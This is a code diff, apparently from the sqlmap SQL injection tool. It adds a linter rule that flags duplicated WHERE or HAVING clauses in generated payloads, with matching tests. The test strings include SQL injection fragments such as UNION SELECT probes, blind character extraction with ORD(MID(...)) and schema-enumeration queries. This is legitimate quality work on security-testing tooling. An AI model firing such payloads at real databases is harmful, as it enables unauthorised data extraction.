_CLAUSE_KEYWORDS = frozenset(("FROM", "WHERE", "HAVING", "INTO")) +# single-occurrence clause keywords (at most one per SELECT scope) with no +# identifier-collision risk - unlike GROUP/ORDER, which double as column names. +# a repeat at the same paren-depth is the 'WHERE x WHERE y' structural bug (e.g. +# a schema filter appended onto a base query that already carries a WHERE). +_SINGLE_CLAUSE_KEYWORDS = frozenset(("WHERE", "HAVING")) + +# set operators that begin a fresh SELECT, resetting single-occurrence clauses at +# the current scope ('a WHERE x UNION b WHERE y' is legal; two WHEREs are not). +_SET_OPERATORS = frozenset(("UNION", "EXCEPT", "INTERSECT", "MINUS")) + # sqlmap's own templating markers. If any survives into a *final* outbound payload # a substitution failed upstream (agent.py / cleanupPayload / queries.xml) - always # a bug. Matched on the raw payload because a marker can leak anywhere (bare, inside @@ -309,6 +319,10 @@ def checkSanity(sql, keywords=None): True >>> bool(checkSanity("1UNION SELECT NULL")) True + >>> bool(checkSanity("SELECT a FROM t WHERE x=1 WHERE y=2")) + True + >>> checkSanity("SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2") + [] """ if not sql: return [] @@ -419,4 +433,28 @@ def checkSanity(sql, keywords=None): if cur.type == T_OTHER: issues.append("stray character '%s' at offset %d" % (cur.value, cur.start)) + # -- duplicated single-occurrence clause at one scope ('WHERE x WHERE y') -- + # WHERE/HAVING may appear at most once per SELECT scope; a second one at the + # same paren-depth (no set operator or ';' resetting the SELECT in between) + # is a structural impossibility no surrounding query can undo - subquery + # clauses live at a deeper depth and reset on '(' / ')'. + scopeSeen = [set()] + for token in sig: + if token.type == T_LPAREN: + scopeSeen.append(set()) + elif token.type == T_RPAREN: + if len(scopeSeen) > 1: + scopeSeen.pop() + elif token.type == T_SEMI: + scopeSeen = [set()] + elif token.type == T_KEYWORD: + word = token.value.upper() + if word in _SINGLE_CLAUSE_KEYWORDS: + if word in scopeSeen[-1]: + issues.append("duplicate '%s' clause at offset %d" % (word, token.start)) + else: + scopeSeen[-1].add(word) + elif word in _SET_OPERATORS: + scopeSeen[-1].clear() + return issues diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py index 63f409ff10..4c06bbcdec 100644 --- a/tests/test_sqllint.py +++ b/tests/test_sqllint.py @@ -66,6 +66,9 @@ "SELECT LIMIT 0 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS", # HSQLDB space-LIMIT "SELECT TOP 1 name FROM master..sysdatabases", # MSSQL TOP + db..table "CONCAT('\\',0x71,(SELECT 1))", # backslash-literal string (ANSI) + "SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2", # two WHEREs across UNION (legal) + "SELECT a FROM (SELECT b FROM t WHERE c=1) z WHERE d=2", # subquery WHERE + outer WHERE (different scopes) + "SELECT a FROM t WHERE x IN (SELECT c FROM d WHERE e=1) AND f=2", # WHERE with a WHERE'd subquery ) # malformed fragments/statements that MUST flag @@ -92,6 +95,9 @@ "1 UNION ALLSELECT NULL", # glued keyword after UNION "1 AND ORD(MID((SELECT COUNT(x FROM t),1,1))>64", # unbalanced parentheses (dropped ')') "1 UNION ALL SELECT ,CONCAT(0x71,a,0x71) FROM t", # comma right after SELECT + "SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') WHERE OWNER IN ('APPU')", # double WHERE (mis-appended schema filter) + "SELECT tabschema,tabname FROM syscat.tables WHERE type IN ('T','V') WHERE tabschema IN ('DB2INST1')", # double WHERE (DB2) + "SELECT a FROM t WHERE x=1 HAVING c>1 HAVING d<2", # duplicate HAVING ) # cross-dialect valid constructs the near-keyword / comma / digit-glue rules must